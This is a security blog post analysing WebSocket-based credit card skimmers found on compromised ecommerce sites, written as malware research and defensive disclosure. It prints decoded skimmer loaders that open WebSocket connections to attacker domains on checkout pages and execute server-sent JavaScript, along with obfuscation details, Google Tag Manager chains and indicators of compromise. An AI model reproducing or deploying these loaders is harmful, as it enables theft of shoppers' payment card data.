If you were to believe shopping mall merchants, you’d think the holiday season starts immediately after Halloween. Christmas trees and candy canes abound, along with the same songs played on repeat that we hear every year ad nauseam. However, the same could be said for card skimming attacks: Once the trick-or-treaters have gone home for the year this is around the time that we see the most aggressive campaigns to pilfer credit card details from ecommerce websites.
We recently had a new client come to us with a familiar story: The checkout page on their ecommerce store had been modified and they were not able to figure out the source. In this case, a fake “Complete Order” button had been overlaid on top of their legitimate checkout button, thereby intercepting payment details from their customers. When we narrowed down what was causing it we found something quite interesting: Malicious code that was injected through a secure web socket connection.
While this is certainly not the first time that attackers have used the wss:// protocol for card skimming, it’s a relatively new phenomena in the grand scheme of things. In fact, only a few hacker groups use it, partially because it requires installation of additional server software to accept WebSocket connections.
In this post we’ll review what web sockets are, why they are beneficial to attackers to use in skimming attacks, and an analysis of several different web socket credit card skimmers that we’ve identified on compromised ecommerce websites.
Let’s start at the beginning shall we? What even is a web socket? It’s relatively new compared to other web technologies, but it’s been around since 2011 and has been widely supported in major web browsers for several years.
Essentially, a web socket is a protocol to enhance real-time communication between clients and web servers, so it’s very useful in situations such as online gaming, chat, financial trading and other applications that require a lot of quick requests back and forth in real time.
Compare this to regular old HTTP traffic where there must be a request followed by a response over and over again, you can see why that would quickly become inefficient in a lot of modern uses of the web. In a web socket connection, once the initial connection (and, in the case of encrypted traffic, a secure handshake as well) has been established, there can be continuous bidirectional traffic between the two parties until the connection is terminated.
Now, I don’t think the attackers are necessarily taking advantage of the full benefits of web sockets in this skimming case, as credit card skimming is not an activity which requires instant, real-time web traffic. However, it does appear to be useful to them for entirely different reasons: obfuscation.
Attackers spend a lot of effort to hide their activities when picking unsuspecting people’s pockets on compromised ecommerce websites. As MageCart has evolved, attackers have put increasingly more effort into obfuscating their code and adding more layers to their JavaScript and PHP injections, thereby making it more difficult for security researchers to peel away the layers of the onion and determine exactly where the stolen details are being exfiltrated to, and how.
Analyzing web socket traffic is more challenging than HTTP/HTTPS traffic. Even though all modern browsers support WebSockets via JavaScript, you can’t use the wss:// protocol directly in the address bar to pick into WebSocket URLs. Tools like curl also don’t support WebSockets out-of-the-box (you need to recompile them). Some traffic monitoring tools are also limited to HTTP/HTTPS. Although there are still many options to work with web sockets, if you have never done it before it will be an extra layer of complexity and you might need to use more sophisticated tools and traffic analysis to even begin to see the malicious activities.
The skimmer that we identified on our new client’s website was really quite simple. Lodged within the theme options of the infected WooCommerce store was the following JavaScript:
We can see that it is using fromCharCode obfuscation with the following characters:
119,115,115,58,47,47,108,103,115,116,100,46,105,111
This type of obfuscation is very popular among attackers, particularly those engaged in the ongoing Balada Injector malware campaign. It is quite simple, and offers a quick and easy way for bad actors to conceal their sensitive strings.
In this type of obfuscation each number corresponds to a letter. When we convert these numbers into readable text we get the following:
wss://lgstd[.]io
The malware checks to see if the URL being accessed by the website visitor includes the string checkout. If so, the web socket connection is established to the credit card exfiltration domain.
As usual, the domain was created very recently and probably specifically created for this card stealing campaign:
Domain Name: lgstd[.]io Registry Domain ID: b33b7104a0d14ef88db15f8c17b60a60-DONUTS Registrar WHOIS Server: whois.PublicDomainRegistry.com Registrar URL: http://www.PublicDomainRegistry.com Updated Date: 2023-10-09T13:24:57Z Creation Date: 2023-07-05T10:04:52Z
Upon opening the WebSocket connection with s.onopen it sends the hostname of the current window location to the malicious server. The script also includes an onmessage event handler. When it receives a message from the WebSocket server it executes that message as a function new Function(e.data)(s) — meaning that the malicious server can send arbitrary JavaScript code to be executed on the client’s browser. This allowed the attackers to create the fake payment button on the checkout page, steal the victim’s credit card details, and eventually sell the stolen data on the black market.
Of course, this was not the first time we’ve identified a skimmer using a web socket connection. In fact, we regularly find WebSocket skimmers on compromised sites. WebSockets are mainly used either for data exfiltration or (like in this case) for loading skimmer code without leaving traces in HTTP traffic.
For exfiltration, it’s common to use both WSS and HTTP endpoints, but HTTP is usually used as a fall back when the WebSocket URL doesn’t respond for some reason.
The same approach is also used for stealing CMS login credentials:
A typical injection that loads a credit card skimmer looks like this.
<script>var soc;if(new RegExp("checkout").test(window.location))new self["Function"||"Object"](atob('c29jPW5ldyBzZWxmLld…skipped…HRoaXMpfTs')).call(this);</script>
Which decodes to the following:
var soc;if(new RegExp("checkout").test(window.location))new self["Function"||"Object"]('soc=new self.WebSocket(\"wss://semrush[.]tech/api/id/\"+Math.random().toString(36).substr(2, 10));soc.onmessage=function(a){new self.Function(atob(a.data)).call(this)};').call(this);
Similar to the first injection we described, this code checks that the current URL belongs to a checkout page and creates a WebSocket connection. Some skimmers may immediately send additional information such as the domain of the site to the wss endpoint. The script also includes an onmessage event handler. When it receives a message from the WebSocket server it executes that message as a function — this means that the malicious server can send arbitrary JavaScript code to be executed on the client’s browser. To make it less obvious for network analysis tools, in the above sample the code is sent as a base64-encoded string.
We see many variations of web skimmers playing around this idea. Here’s an example of a similar skimmer using a different type of obfuscation and a timer to load the malware after a short delay.
WebSocket skimmers are sometimes injected through a long chain of scripts involving Google TagManager. For example, last year my colleague Denis Sinegubko reported the GTM-NSTTR9L tag being used for loading a skimmer using the “wss://jqstylemin[.]com:80/tr” WebSocket URL.
GTM + WebSocket skimmer:
GTM-NSTTR9L -> jqstylemin[.com/style.mini.css -> wss://jqstylemin[.]com:80/tr
Previous domains: jqstylemini[.com, gtmapicss[.com, sanapicss[.com
IP 77.91.74.92
Infected sites: https://t.co/x1Ztvep2wo pic.twitter.com/XsHVFH6oCq— Denis (@unmaskparasites) September 7, 2022
Unfortunately, this tag is still active but now it has evolved to use a chain of other Google TagManager tags instead of directly injecting malicious code.
At this point GTM-NSTTR9L loads GTM-KX36TXD which loads GTM-NKV5GMT8 which loads GTM-PB7B4WJX which loads the first layer of the malicious skimmer.
If you decode the vtp_html variable, you’ll see a code that injects a highly obfuscated script from hxxps://gocecurcss[.]com/imail. The decoded version boils down a familiar code that loads another layer of the skimmer using WebSockets protocol from wss://gocecurcss[.]com/tg.
I0086844R=new self.WebSocket("wss://gocecurcss[.]com/tg");I0086844R.onmessage=function(a){ new self.Function(a.data).call(this)};
The gocecurcss[.]com domain was registered just under a month ago on November 3, 2023.
Administrators of ecommerce websites need to be vigilant year round, but this is particularly true around the holidays. The malware described in this post is a great example of this. Even a simple compromise of an admin user password in your wp-admin panel can cause such an infection. In fact, since this simple WebSocket skimmer was lodged in the theme options suggests that this may have been the source of the infection in the first place.
We advocate a defense in depth strategy when securing your website: Take every possible measure to keep the attackers at bay. Keep in mind that added security measures can also cause some level of inconvenience, so you’ll need to find the right balance for your website. For additional security precautions, take a look at our guide on hardening your WordPress administrator panel. And if you suspect that your website has been compromised, we’re here to help clean up the malware and fix a hacked site!